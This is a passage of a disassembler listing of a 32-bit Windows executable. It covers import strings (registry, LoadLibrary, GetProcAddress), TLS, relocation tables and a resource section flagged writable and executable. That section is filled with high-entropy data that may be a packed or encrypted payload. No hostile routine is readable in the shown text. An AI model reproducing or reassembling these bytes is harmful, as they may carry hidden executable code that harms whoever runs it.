		dd 776E556Ch, 646E69h, 61520000h, 45657369h, 70656378h
		dd 6E6F6974h, 0
aGetstdhandle	db 'GetStdHandle',0
		align 2
aUser32_dll	db 'user32.dll',0
		align 10h
aGetkeyboardtyp	db 'GetKeyboardType',0
		dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh
		dd 64610041h, 69706176h, 642E3233h, 6C6Ch, 65520000h, 65755167h
		dd 61567972h, 4565756Ch, 4178h,	65520000h, 65704F67h, 79654B6Eh
		dd 417845h, 65520000h, 6F6C4367h, 654B6573h, 656B0079h
		dd 6C656E72h, 642E3233h, 6C6Ch,	6C540000h, 74655373h, 756C6156h
		dd 65h,	47736C54h, 61567465h, 65756Ch, 6F4C0000h, 416C6163h
		dd 636F6C6Ch, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
aKernel32_dll_0	db 'kernel32.dll',0
		align 4
		dd 6F4C0000h, 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h
		dd 64644163h, 73736572h, 0
aFreelibrary	db 'FreeLibrary',0
aKernel32_dll_1	db 'kernel32.dll',0
		align 4
aGetprocaddress	db 'GetProcAddress',0
		align 4
_idata		ends

; Section 5. (virtual address 00009000)
; Virtual size			: 00000008 (	  8.)
; Section size in file		: 00000008 (	  8.)
; Offset to raw	data for section: 00009000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 409000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:TlsDirectoryo
_tls		ends

; Section 6. (virtual address 0000A000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 0000A000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 40A000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd 409008h
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata		ends

; Section 7. (virtual address 0000B000)
; Virtual size			: 000004B0 (   1200.)
; Section size in file		: 000004B0 (   1200.)
; Offset to raw	data for section: 0000B000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_reloc		segment	para public 'DATA' use32
		assume cs:_reloc
		;org 40B000h
		dd 1000h, 0E4h,	300A3002h, 301A3012h, 302A3022h, 303A3032h
		dd 304A3042h, 305A3052h, 306A3062h, 307A3072h, 308A3082h
		dd 30BE3092h, 30CE30C6h, 30DE30D6h, 30EE30E6h, 310130F6h
		dd 3139312Eh, 320F3208h, 341A33A3h, 34C43466h, 355334DAh
		dd 361135B7h, 36723663h, 373F3692h, 38EE38B2h, 3917390Ch
		dd 392A3922h, 393E3934h, 395E3948h, 39723964h, 39A03987h
		dd 39B439A6h, 39C239BAh, 39E439D4h, 39FF39F3h, 3A123A07h
		dd 3A253A18h, 3A4F3A2Ah, 3A633A59h, 3A773A6Dh, 3A983A8Ah
		dd 3AB43AAEh, 3AC63ABCh, 3AED3AE2h, 3B2A3B12h, 3B973B76h
		dd 3BF23BA1h, 3C583C08h, 3C9C3C78h, 3DF83DE3h, 3E6D3E61h
		dd 3EB33EAAh, 3EC73EBCh, 3ED73ED0h, 3EED3EE6h, 3F683F0Fh
		dd 3FFA3F70h, 2000h, 0F0h, 302B3026h, 30B83030h, 30DD30C2h
		dd 314830E6h, 316B3151h, 319D3191h, 31D831A5h, 321C320Eh
		dd 3268325Fh, 32803278h, 328F3286h, 329B3296h, 32BD32A4h
		dd 32E432C6h, 32F232EAh, 331E3318h, 33483330h, 335C3354h
		dd 338C337Dh, 33BC339Ch, 340B33DBh, 34193413h, 3452341Fh
		dd 34AB3486h, 34C134BBh, 353434C9h, 3542353Ch, 35553548h
		dd 35C4355Bh, 35D435CCh, 35E035DAh, 35EE35E8h, 35FB35F4h
		dd 36C83605h, 371436F6h, 37283720h, 378F3789h, 37C03797h
		dd 381337EBh, 3845382Ch, 386B3856h, 38983878h, 3CA63B11h
		dd 3CF53CE5h, 3D293D0Bh, 3D563D3Fh, 3DA53D6Bh, 3DCE3DBAh
		dd 3DEC3DD6h, 3E123E04h, 3E623E46h, 3E823E6Eh, 3E9F3E8Ch
		dd 3EFC3ECFh, 3F373F05h, 3F753F40h, 3F9E3F7Ch, 3FEBh, 3000h
		dd 110h, 315B3013h, 318A3183h, 31C431A2h, 320031F8h, 323A320Bh
		dd 32AA3252h, 331232C3h, 331C3316h, 33253320h, 3332332Ch
		dd 3345333Ah, 335C3354h, 33933388h, 33BA33B0h, 33E933DFh
		dd 33FB33F3h, 340F3401h, 343F342Ah, 344E3449h, 3473346Eh
		dd 34A93495h, 34CE34B5h, 35213518h, 35493526h, 38033556h
		dd 38DE38CDh, 3925391Eh, 39573939h, 396C3960h, 39C03973h
		dd 3A2B3A09h, 3A3E3A37h, 3A523A48h, 3A7A3A69h, 3A8E3A87h
		dd 3A983A92h, 3AA23A9Ch, 3AAD3AA9h, 3AD03AC7h, 3AE53AD9h
		dd 3B163AEFh, 3B3C3B2Bh, 3B4E3B46h, 3B5E3B56h, 3B8E3B66h
		dd 3BC63BB8h, 3BE43BCBh, 3C053BF4h, 3C223C16h, 3C2C3C27h
		dd 3C3A3C33h, 3C5B3C44h, 3C743C67h, 3C933C86h, 3CAC3C9Fh
		dd 3CC63CBEh, 3CD63CCEh, 3CEF3CE3h, 3D0E3CFCh, 3EBE3E99h
		dd 3EF33EE7h, 3F123F00h, 3F903F44h, 3FAD3F95h, 3FBA3FB5h
		dd 3FD83FCDh, 4000h, 128h, 30063001h, 30D1302Ch, 318F3162h
		dd 31A8319Bh, 31D231BAh, 31E831DAh, 320A31EDh, 322D320Fh
		dd 32503232h, 326B3255h, 32783273h, 3296328Eh, 32B1329Bh
		dd 32BE32B9h, 32DC32D4h, 32F732E1h, 330432FFh, 3322331Ah
		dd 333D3327h, 334A3345h, 33683360h, 3383336Dh, 3390338Bh
		dd 33B133A9h, 33CC33B6h, 33D933D1h, 33F633EFh, 340D3400h
		dd 366C3614h, 36E936B7h, 3778375Ah, 37BF3799h, 381C37D5h
		dd 389A3846h, 38F138C3h, 3935391Fh, 39533947h, 39A33975h
		dd 39BC39AFh, 39D639CEh, 3A0039F2h, 3A223A05h, 3A443A27h
		dd 3A623A49h, 3A6F3A6Ah, 3A893A84h, 3A963A91h, 3AB03AABh
		dd 3ABD3AB8h, 3AD73AD2h, 3AE43ADFh, 3AFE3AF9h, 3B0B3B06h
		dd 3B253B20h, 3B323B2Dh, 3B4C3B47h, 3B593B54h, 3B733B6Eh
		dd 3B803B7Bh, 3B9A3B95h, 3BA73BA2h, 3BC13BBCh, 3BCE3BC9h
		dd 3BE93BE3h, 3BFB3BF1h, 3DE63C0Ch, 3E353E13h, 3EA23E68h
		dd 3EC33EBEh, 3EEC3EE7h, 3FD03F0Bh, 3FF13FECh, 5000h, 80h
		dd 30893014h, 30B730AFh, 30DC30BCh, 31A03148h, 31CF31C8h
		dd 31DE31D7h, 31ED31E6h, 320331F6h, 3252323Fh, 32683264h
		dd 3270326Ch, 32783274h, 3280327Ch, 32883284h, 3290328Ch
		dd 32983294h, 32A4329Ch, 32C932BCh, 32E332DEh, 32FB32F6h
		dd 33123303h, 3333332Eh, 33533347h, 336D3367h, 33863377h
		dd 33A2339Dh, 33B933AFh, 33FC33D8h, 34253415h, 3432h, 6000h
		dd 10h,	30283024h, 30C0302Ch, 0A000h, 14h, 30043000h, 300C3008h
		dd 0
_reloc		ends

; Section 8. (virtual address 0000C000)
; Virtual size			: 00032600 ( 206336.)
; Section size in file		: 00032600 ( 206336.)
; Offset to raw	data for section: 0000C000
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_rsrc		segment	para public 'CODE' use32
		assume cs:_rsrc
		;org 40C000h
		assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
		dd 2 dup(0)
		dd 4, 10000h, 0Ah, 80000018h, 2	dup(0)
		dd 4, 2, 80000088h, 80000038h, 80000090h, 80000050h, 2 dup(0)
		dd 4, 10000h, 0
		dd 68h,	2 dup(0)
		dd 4, 10000h, 0
		dd 78h,	0C098h,	2B2BFh,	4E4h, 0
		dd 37358h, 101h, 4E4h, 0
		dd offset byte_430003
		dd 310046h, 530003h, 540045h, 9F22E573h, 89BC3FE0h, 0AD75E266h
		dd 0B0EDBCA5h, 28931745h, 0E005322Dh, 0DCFC61Eh, 0F97D623Dh
		dd 9C262018h, 5637829h,	855952E8h, 0F61BBA41h, 5A24C170h
		dd 665B7816h, 16D4ACCh,	934933E7h, 0A2C3654Bh, 0C0C86D8Fh
		dd 20C785F6h, 8535FDF2h, 52B64907h, 0C5EBAE04h,	0A3AB9D24h
		dd 0B7B56F50h, 621E54EEh, 4B000EB7h, 0CC578953h, 3BD9900h
		dd 14D33B60h, 0E3019F9Eh, 42BB7CAAh, 6635CEE6h,	811A6230h
		dd 4E809177h, 2E14BA19h, 0DCEDCCCAh, 0B778F1F1h, 1F9C629Bh
		dd 0B13D8F14h, 57BA1556h, 65EEF62Ch, 5F3F9A0Eh,	8CA0A190h
		dd 0C3441C83h, 3149CF52h, 0FFAB74E9h, 259E8517h, 0D22CE555h
		dd 561A47D8h, 0D948EAA6h, 28C02846h, 4A9625EAh,	0E8111387h
		dd 75DD1FE5h, 7C94BD6Fh, 0CB4C49A3h, 7855AFD3h,	32E10EE3h
		dd 99CF3E0h, 75615290h,	8AD7CD40h, 52A21A87h, 264F3DBDh
		dd 77350FFh, 0CE71DF93h, 5B092E89h, 0D7E42363h,	484A32AFh
		dd 853DE98Fh, 8B144F04h, 969D651Fh, 0F46CB2Ah, 2F4E726Dh
		dd 0A963764Ch, 0AEF63C27h, 0D696D545h, 9BB9E7F0h, 8CF027AFh
		dd 0EA2E1CBAh, 573DE2ACh, 0BE8CFCCBh, 5A0EE2EDh, 6FA99F24h
		dd 5EA46272h, 0E1F1D818h, 0F0854C3Ah, 4E4506EEh, 1837E86Ah
		dd 7C778285h, 0C46F391Ch, 0D08EA551h, 96B2A325h, 349741DEh
		dd 9235D751h, 46664A77h, 614F1258h, 0BEA41C0Ch,	0F5B181A3h
		dd 0DC8ABE95h, 0D2EDD571h, 135B3232h, 395CFBC0h, 0DE720AD4h
		dd 85EE2537h, 130EB644h, 0E1E6D5E4h, 0A1059767h, 6ABB7B1Fh
		dd 0AF25705Dh, 2D21F0Dh, 8835C8D1h, 1EFCFE23h, 373DFFA5h
		dd 732B38EEh, 4FF65422h, 4F57FEAFh, 5184DE02h, 0C8B67C18h
		dd 7D68E46Dh, 2EEA90A5h, 3790019Bh, 614FCA6h, 0E040A6B5h
		dd 0C3B0C685h, 149051D5h, 0B5AC6CB5h, 0D5C91F2Eh, 0F8DF8C73h
		dd 0F9977CA0h, 0C078A4E3h, 0E6CEC7D9h, 2949A4FEh, 0BDB1EDD9h
		dd 0C862F8E1h, 0BB7F31F8h, 0CAAA60E6h, 0E103FCB5h, 65A26AA1h
		dd 651206A5h, 0AD230D4Fh, 0FDC7B94Bh, 77EA7FA7h, 26C781h
		dd 0B69412CCh, 0D2A98B1Fh, 70618FC3h, 3F943D49h, 35E49D3Bh
		dd 0D9CD6D0Ah, 0E0C416E9h, 1098AE2Bh, 0A21B3C33h, 0EFB5FBF8h
		dd 0E4EEB814h, 0A09039Ah, 718BFFBBh, 2F32929Bh,	2268FF2Fh
		dd 6EFC7752h, 6B2B6EDCh, 351738C8h, 9EAEE105h, 0E350A25Dh
		dd 58822676h, 849EAC8Dh, 5563EFC5h, 0E2A436BEh,	0EE441017h
		dd 2D8BE822h, 3A87D9C4h, 0FF51B48Ch, 0B0501513h, 5754E787h
		dd 0BC033EFFh, 75B27C1Dh, 7C53AC38h, 27C32987h,	9444E71Eh
		dd 9BC9BB5Ah, 9289710Fh, 0DC149572h, 4DEA11F3h,	616C9308h
		dd 39B73BFAh, 614B248h,	0DFA1257Ah, 0F4E5DE25h,	0F5E3F469h
		dd 0FAD97A9Ah, 0FE511B7Dh, 1925CBF0h, 0FA5B8E98h, 634C6F89h
		dd 9C2FF516h, 76E24B9Fh, 0BE8A9DB8h, 9C75B024h,	0A7FFB3E2h
		dd 0F5042D47h, 6ADAB248h, 6D146365h, 87211546h,	34C1EA6Bh
		dd 26D788E9h, 42985A30h, 4A286697h, 68222280h, 72890519h
		dd 2C4AD7C2h, 6B81067h,	0C0629D4Ah, 8D748521h, 2234F07Bh
		dd 807C6993h, 196A12F9h, 3D2499Eh, 69A8D059h, 16EB99ECh
		dd 9E4EB51Dh, 866E554Eh, 7707C27Ch, 2BC93B7Ch, 466C8AE7h
		dd 4CD8040Ch, 0B4BCA360h, 0BEAE365Ch, 3A4E8E5Eh, 611DAB20h
		dd 6BB8913Fh, 72BCA7C5h, 6249C05Fh, 0C1BA17EEh,	0EE0268C0h
		dd 41D2CEE9h, 5823E455h, 198B6D7Fh, 34836D00h, 7C2D3042h
		dd 0E82B0C7Bh, 5960510Fh, 0EDD33A99h, 0F69A104Ch, 2A988597h
		dd 0E361D073h, 8306906Bh, 0A469816Eh, 81B67C06h, 65D35353h
		dd 0A6EB5B65h, 4E3EFA4Bh, 39E3CE16h, 0AA374545h, 0B81B14D1h
		dd 24787958h, 0E66B0DF6h, 67D039B8h, 0E63FC6B8h, 40513BADh
		dd 4FFB6297h, 2AD2BD7Eh, 3969F98Ah, 0A8865A6Fh,	6433F46Dh
		dd 0B8AB8922h, 0C10B69A3h, 0DFD03D41h, 0C2B5D067h, 6736537Bh
		dd 3A0F9BA0h, 0BDC05B1h, 1240A67Eh, 120C0E9Ah, 6CF9EC2Fh
		dd 76809A9Eh, 2E551C3Bh, 0FE1CCA71h, 0ADCB8A12h, 950B69C6h
		dd 0CB3443Bh, 3EA9372Fh, 2F8DB5F7h, 0D7A376FBh,	55A2E50Dh
		dd 3BA89CAEh, 5C71A80Ch, 0AEBE9CD7h, 3102A801h,	0D0D1D0A2h
		dd 0E6BBF207h, 6FE96AE8h, 2A9AB948h, 76A5A1D9h,	6F3EA32Bh
		dd 0B6BABCF7h, 1BFC9142h, 6F06DBDFh, 0DA2CBED1h, 80A475BCh
		dd 0B1D00D3Ch, 0EB4FDFCBh, 0D000ACB4h, 84406DCh, 897B645Bh
		dd 12D6B66Dh, 8CBDCDF6h, 0DE7E61BBh, 0B1437E1Fh, 19FEF874h
		dd 6C9C5584h, 15EA99FBh, 4FE8B6EAh, 0F4917174h,	7AF6F07h
		dd 0E5C01DFDh, 4FCCC38Ah, 0AEF3DBD8h, 10CCD20Dh, 420195E6h
		dd 583E3C9h, 5B193C98h,	2473BF1Ah, 0D896DAFh, 5B71C853h
		dd 0C8BCAE3Ah, 0AD2572E3h, 24A901DFh, 3BD72EF9h, 0E731D7EFh
		dd 0DD810265h, 411D679Fh, 978F87A7h, 277BE49Ah,	0F0AD7C9Eh
		dd 0D2A68741h, 280F0DB9h, 88DB80B6h, 5B138F32h,	0F24B162Eh
		dd 39BD6029h, 52CB4317h, 929BFB64h, 0AE2FE438h,	45935D39h
		dd 26FF708Ch, 25D3884h,	0BB7419F6h, 0CE634B43h,	0D9B3E42Ch
		dd 104A453Ch, 0CFE576F4h, 9B834FFAh, 0B593E799h, 9843187Dh
		dd 1B12343Ah, 0A5D6F744h, 681AA805h, 70F9D14h, 0EE92684Bh
		dd 3C2E819Bh, 0A272B089h, 0A423D29Dh, 1C5F1B13h, 0CE2F15B2h
		dd 0EB5D8CE2h, 0F69A2A86h, 0E322F016h, 1E4C9C71h, 0B82757CCh
		dd 0B4C76805h, 8109FD3h, 9D99B30Ch, 232CA060h, 3EF2876Ch
		dd 252EDFEEh, 0B5EE6A3Bh, 7A38287Dh, 48A88A23h,	74B64DECh
		dd 68EBD2F4h, 9D739CC0h, 6DF83748h, 0FE62183Ah,	0AAB374D8h
		dd 92318481h, 0F027F3ADh, 0D9AAEA4Dh, 0EBE290C7h, 17712B24h
		dd 5E6FD2CCh, 0B786997Bh, 3AB15814h, 907D0E51h,	8E577BE6h
		dd 5B1B3F75h, 0F09DF96Ch, 5537B0EBh, 2E765054h,	8DBCE467h
		dd 410A0A7Dh, 0E5E9577Dh, 8B803982h, 12865455h,	2825AAAh
		dd 0F0FACD1Ch, 2A19B1E1h, 6305BA8h, 7D44CC40h, 5D006B42h
		dd 7858D93h, 307A405Bh,	25C66197h, 0A89EBCEAh, 0AA7714DAh
		dd 1B5CD06Fh, 8D61AA1Ch, 3CB3BDDFh, 31E58FB8h, 6A9E72E2h
		dd 0C17F3DCEh, 4FB09C58h, 899597DEh, 42403702h,	881DC7ACh
		dd 0D5F2603h, 23F27E60h, 0DAB8F81Ah, 0B6BAD5E8h, 43A5FB06h
		dd 4DCC390Dh, 9FB8ACA6h, 2D50F207h, 35EA7D0Bh, 0F2471E18h
		dd 0B1528FABh, 0DD635C4Ah, 0C38AE2EEh, 794393CFh, 2EBCAE8h
		dd 0A04EC0ACh, 314241A0h, 67CC8E52h, 21AB767Eh,	0EC3CFC99h
		dd 0FF7DCDE8h, 7FEB34E3h, 56EFAEA5h, 80798539h,	8B182931h
		dd 0DC6D1460h, 40AEE409h, 758E59FFh, 4FBA140Eh,	0FBC00E4Ah
		dd 20249A6Bh, 42C342C1h, 4792FD7Ch, 0F96EA8BCh,	0E269DF07h
		dd 0FD03935Dh, 64DB8B5Eh, 0AB5B01C3h, 640B529Ch, 2428C92h
		dd 854675B6h, 9B4BF422h, 0EC05C8EBh, 331B38D9h,	0FD13AD1Bh
		dd 87D337A5h, 0CC8752BEh, 0E6A019CCh, 207C63F6h, 0B58DA2Ch
		dd 89B363Bh, 40BE19FAh,	0D0D3ADC4h, 0DDBBE00Bh,	5B185D0Ch
		dd 37216C92h, 8433FA8Eh, 0A6F1B733h, 3FDA554h, 5BA418D9h
		dd 0E5017758h, 0FDDC3CCh, 0A096FBC9h, 1C488D9Dh, 0FD1897FEh
		dd 0B8AABB0Dh, 0C7029E71h, 0CF6DA27Ah, 606C3AA5h, 68420806h
		dd 0F946623Dh, 520744B6h, 0CC236EB7h, 0DD64E0ADh, 3B3B8E14h
		dd 0CA9CE09Fh, 349100DCh, 0DE4BA465h, 2F7C14F1h, 3A0A15A0h
		dd 0FF72A779h, 901B5E39h, 11A3E362h, 0D2138EC7h, 1252AFA1h
		dd 6D65B3A8h
		dd 6C939061h, 4B72DDA0h, 89EB75BBh, 65004D82h, 0CBE3EEF0h
		dd 0B03BB8D2h, 28B9A99Fh, 0CED44675h, 4D3531EBh, 8DDC4D48h
		dd 0F3666840h, 0CB34595Eh, 7B2B2277h, 0F413ADE8h, 932BD146h
		dd 1AD2D8FAh, 24A46373h, 998444CCh, 37658304h, 497BBDDEh
		dd 6AB12B48h, 7C8E30DDh, 0B4B3A65h, 85FDDB33h, 0F5615939h
		dd 0A0EBBD00h, 98859C06h, 93D7DBCAh, 9728F403h,	0BF6D5CF2h
		dd 86315333h, 6F3EE9C1h, 0E7820765h, 12A8166Dh,	1FB2760Ah
		dd 1D77D91Bh, 0F209F5B9h, 0B00E4AC6h, 0F0D0C2DAh, 0D0FB1345h
		dd 0EC2BE3DDh, 0A7628AE8h, 49491E9h, 0C3711E35h, 7901C359h
		dd 39B49F14h, 8BD23368h, 0BFEFF165h, 5B019624h,	65C10594h
		dd 84FDF51Dh, 0FD3E6D60h, 0A3047BFFh, 0A69C6CB1h, 4C1BEA76h
		dd 0E5BF9C24h, 4C7E67DCh, 0D19E1EA2h, 2313F433h, 0A12472AEh
		dd 94C15B48h, 5457AC3Dh, 0B9D02372h, 0C6E9DEF9h, 0D482C069h
		dd 4D18BFB5h, 520DBF86h, 7460E8E7h, 3879CAB7h, 70232FE6h
		dd 36913969h, 0C824A9E7h, 6FF702C8h, 0ACB7A924h, 0EC0DE763h
		dd 4C78B3AEh, 0F700C169h, 8B754930h, 6396BBAh, 0EC5CCBE2h
		dd 2D9294ACh, 0C1344785h, 0F7AC1684h, 2ED1CFB3h, 7548F4A4h
		dd 74975E60h, 4FA7AAD2h, 0A0F29D44h, 5928011Eh,	0B697851h
		dd 592CC9B4h, 8013CBF8h, 0B786EC37h, 0D455AB7Ah, 392CC061h
		dd 0F5B685D2h, 182A4F31h, 63185482h, 0D408D1ACh, 0D4D7B88Bh
		dd 7707D85Ah, 0B0B2C62Ch, 9680CB01h, 0DBFB5B26h, 0A085A202h
		dd 5D084D37h, 87D77E74h, 0A6C24198h, 0A32F3E55h, 0F69FC0AAh
		dd 5256ED6Ah, 0B92B6329h, 104770DCh, 5AE195A4h,	7F3A23ADh
		dd 520C4117h, 435D6A32h, 0D5A731E4h, 0E73014BAh, 1FD322B4h
		dd 0D1E5300Ch, 0AECBF1F7h, 93C68226h, 0C31D3B7Bh, 18A99EA3h
		dd 73343CB1h, 41310DE2h, 0B5D66ABFh, 0E8CC8018h, 21305486h
		dd 0B0401246h, 0CCE7C3BBh, 6464EECAh, 0A4154954h, 4F289E81h
		dd 0F2B7ADE8h, 0EEDE9D91h, 62F27A00h, 1757531Dh, 341818BEh
		dd 0A6F86949h, 0F781B2B3h, 2D9C9CE3h, 0DADEA1F6h, 610D5DD1h
		dd 65D206B2h, 1829719Bh, 6DD2482Ah, 64451FF4h, 11866410h
		dd 381ED35Fh, 539B16F3h, 96C32272h, 7899BAD9h, 0C2AB8B2Eh
		dd 200906C9h, 6B9629B4h, 0E2D30F2Fh, 0E069F03Fh, 20651C5Fh
		dd 0D1305DE7h, 0ECDE3440h, 0F317C7BFh, 9CB1A486h, 162BF471h
		dd 0FD761620h, 1F9EABC1h, 0E5B1BE5h, 4B5CF01Fh,	5BBE5723h
		dd 347F31BCh, 0F7F051C9h, 27CD66C0h, 0CC2313AEh, 0B2574E5Ch
		dd 2E802B33h, 0E720FA6Bh, 9218F846h, 866C3A7Fh,	3D6CEAE7h
		dd 3CFFC228h, 0B53904BCh, 4587E954h, 0EFFDE8E1h, 838FFECFh
		dd 0EE3CA57Dh, 0D13CAF90h, 0EBD4290Eh, 38AC49A8h, 87F91CE3h
		dd 45C33C48h, 9BBC97F6h, 0A674548Bh, 6788EFE2h,	7A39788Fh
		dd 27C76550h, 461A2913h, 92E09D80h, 845F3E8Eh, 0A53EFE79h
		dd 793D84DCh, 94F048A0h, 0B4258B95h, 0B321F3A6h, 84E510F7h
		dd 54EF6A4Fh, 27285B12h, 95D680B1h, 24CA24A8h, 0E2A50558h
		dd 6306212Eh, 368B833Bh, 5CE2FBE6h, 0ABF8DA44h,	0B55EF25Ah
		dd 0B918A4FCh, 0C8CC6510h, 409EB0A0h, 0AD166F44h, 4F9488F9h
		dd 0DC7B5DD9h, 0D79B72F2h, 0BB845C84h, 0AB8AC208h, 0C089FD8Ch
		dd 0A933ECC7h, 0DFE4D233h, 438D4284h, 0B5BBA2F7h, 0A376871Ah
		dd 1241DD58h, 0AAA14D2Bh, 0F838CCEDh, 0E2408687h, 3AAE4760h
		dd 0EF5B5F8Fh, 1D95A3Bh, 0FDA71870h, 0DD8D26CCh, 0A9CF4489h
		dd 5130DD45h, 16067DF9h, 2C9BB0B9h, 0E753AF6Dh,	0A0138590h
		dd 9B24C658h, 0C72BE829h, 0D28498BDh, 0FE52CF1h, 93B6FC9Ah
		dd 815C400Ch, 0E855197Fh, 0DD86A68Fh, 0F72DEB37h, 7A6AB390h
		dd 21969A58h, 0BA6A1DC0h, 5D33F919h, 73403A99h,	1C46D11Eh
		dd 3F0DAA72h, 0DFAC790Dh, 569A5A1Eh, 956601DAh,	6AF63935h
		dd 0E39A43BFh, 108A456Ch, 0C0F355Fh, 25057AB4h,	0ADE639BEh
		dd 0A2B103ADh, 0A0405DF7h, 0D34E544Fh, 0A915A537h, 0F926D597h
		dd 0D1C2D99h, 9B6D0AB3h, 2C0728D0h, 0D8E423D4h,	20513609h
		dd 668C6AB7h, 5F2676E9h, 83773A63h, 0F27F0C54h,	0C6F11D62h
		dd 0F8C2928Fh, 847B50A0h, 7034D9D4h, 58D86F0Eh,	0E1058275h
		dd 0A2AC2868h, 0CE678DD6h, 0D91630BCh, 0C7259B06h, 0DFF2AB84h
		dd 507BC3EEh, 90691714h, 6D9047CEh, 8876F6C0h, 0EB79282Fh
		dd 0B75ADA40h, 681CCEF5h, 9D791C89h, 311965F7h,	9D50D437h
		dd 6B8E44BDh, 3980D0Bh,	46020B1Fh, 3659FFB3h, 8E3C361Ah
		dd 0E742EEDh, 0C0CDE630h, 0B27EEA6h, 5254B6F6h,	731E02AEh
		dd 9D89B2Ch, 0BFC618BCh, 3EAEE410h, 55E820F9h, 0F20E7324h
		dd 8B115F87h, 3F629046h, 683C597Dh, 7415AF5Eh, 0EF5FF533h
		dd 93CEF984h, 5D1BCECDh, 0B34DD959h, 0DC34C4B5h, 0B521EA66h
		dd 48388337h, 0D6632ECBh, 0BB754BE3h, 0AC05000h, 946D087h
		dd 0DF0C533Ah, 70137045h, 0FFE6E317h, 0D1C6BFBEh, 0A450F585h
		dd 0D66868CAh, 9247EC62h, 367FFAF3h, 843993CCh,	18D55D59h
		dd 0DD6E3ACAh, 0AEB25851h, 0A5E717BBh, 8A144C7Ch, 2917D919h
		dd 0E797E359h, 839A558Fh, 3A23C49Ch, 0A9FA0D2Eh, 22994632h
		dd 943615D1h, 652602AAh, 0B777AC9Eh, 0A68F67C6h, 3F064D93h
		dd 3354167h, 0F4FFF3D6h, 3A0DF18Fh, 4C786300h, 0FB5E4D48h
		dd 0D8CA9F75h, 68E6CE84h, 9141592Fh, 0A45171A0h, 6725D21Eh
		dd 0ADBAB8D1h, 36F9B7D0h, 0AD12234Fh, 3E98EA72h, 0CF0388DEh
		dd 58961ECDh, 2B19AB8Ch, 9B00A11Fh, 0A586469h, 495ACA81h
		dd 55524CDh, 8E9949AFh,	0B278BB78h, 41D2C64Ch, 7A59F434h
		dd 0E78B473Fh, 0DD45B64Fh, 0CB1E7BC5h, 0D6736074h, 822E6313h
		dd 2E7FD976h, 0B540CA76h, 0D0DBC47Eh, 0C4495BF2h, 7D2C27C2h
		dd 421C8600h, 0C7BA7FFFh, 0A99B3FD9h, 0C118B834h, 0E47CF9E6h
		dd 0E3BCA652h, 0C127EB74h, 7B174A8Ah, 3FEF91BAh, 80F2F1F6h
		dd 0FDA3ECAEh, 8662325Bh, 85BAA41h, 482A7C2Fh, 6F9DBA18h
		dd 6ADAC2D5h, 618EDD65h, 0AC543092h, 77201F5Fh,	50B17439h
		dd 265D0527h, 2936B629h, 0B380CEF7h, 0E72976D0h, 2700DA22h
		dd 0A1DE4FFEh, 14BEC2B0h, 284DFAC2h, 6E459C7Bh,	66BB11A1h
		dd 0BA07D9DEh, 4B7BF2ABh, 3ED6122Ah, 47A68FF9h,	814B4ACAh
		dd 0B1FF0BCAh, 7B396C41h, 8D86555h, 9B4BCE01h, 17F2C0F5h
		dd 3F955E79h, 0C6DC3CCAh, 30531B90h, 127971F2h,	0D8963A4Ah
		dd 0DA402B4Eh, 486E4C55h, 0A2110EA9h, 64E3EFCCh, 0CF3BAFD7h
		dd 5967E5E2h, 0FB93C3CBh, 6B9AFCF2h, 4F07B8CDh,	81697081h
		dd 5F1E2A3Eh, 6C08A669h, 0EE4CC5FFh, 0FBE3A03Eh, 242475D1h
		dd 30B4D626h, 0A62A5D9Eh, 0D1D23A65h, 0C54AB5E3h, 0E3137F6Eh
		dd 3F42D0E7h, 58A95E7Ah, 418DD5B7h, 7317DBDDh, 145F2901h
		dd 7F13EDDAh, 3C02D103h, 0B95FC19Fh, 228F03D4h,	0DAD3EF3Fh
		dd 784ABBDBh, 59E90EC2h, 612E9B5Bh, 0C17C4635h,	982ED24Dh
		dd 0B59B215Ah, 0DFACE3ACh, 26AFDF3Dh, 8E1622A1h, 8F97FA57h
		dd 0A1FE25FCh, 0BBBEC411h, 278C9E45h, 6B201B84h, 408D3EA5h
		dd 4B12E5C8h, 0B66F6D3Ch, 1AA48715h, 0EEA771F7h, 47A3136Ch
		dd 0CE1FF6E0h, 1CA070h,	0F2FAB270h, 6741913Dh, 5F0466B2h
		dd 0AC3BAAE9h, 5310D7FAh, 7FDFA106h, 1B76A8F3h,	0A66BFB1Eh
		dd 0C9B0D68Eh, 0FB0E0913h, 0DDC2D1D8h, 0AFEC2DB1h, 0BFC31112h
		dd 6AE0FA12h, 5D8FBDBh,	479C04A4h, 0E37FD955h, 0CBBACBA9h
		dd 0D690FC6Eh, 8678F3B0h
		dd 1FBDC98h, 54E4CE9Dh,	994EB422h, 0BAF3CD02h, 648A03E3h
		dd 8219C70Ah, 8FF16A72h, 7880F18Fh, 888D681Dh, 7511C71Ch
		dd 561979D8h, 654CD5AFh, 4DF72BA1h, 84CF972Ah, 92E79A68h
		dd 75846963h, 7DF83675h, 78AB3961h, 46905B9Ah, 101B3999h
		dd 8FB00E79h, 0BF9E3B84h, 0CF33018Eh, 5B8B6BECh, 0CC1AA950h
		dd 8E55F480h, 0CC85825Eh, 0FC65E690h, 0E53CA073h, 3918AA0Fh
		dd 65167CD6h, 0A754B96Fh, 51708C40h, 88C44D49h,	78E50E84h
		dd 8A7620DCh, 4B62928Eh, 232DE60Ah, 3710997h, 0D526142Ah
		dd 0A9B0FF47h, 0AD79537Bh, 0AABE5910h, 17C7B505h, 0E5E81A43h
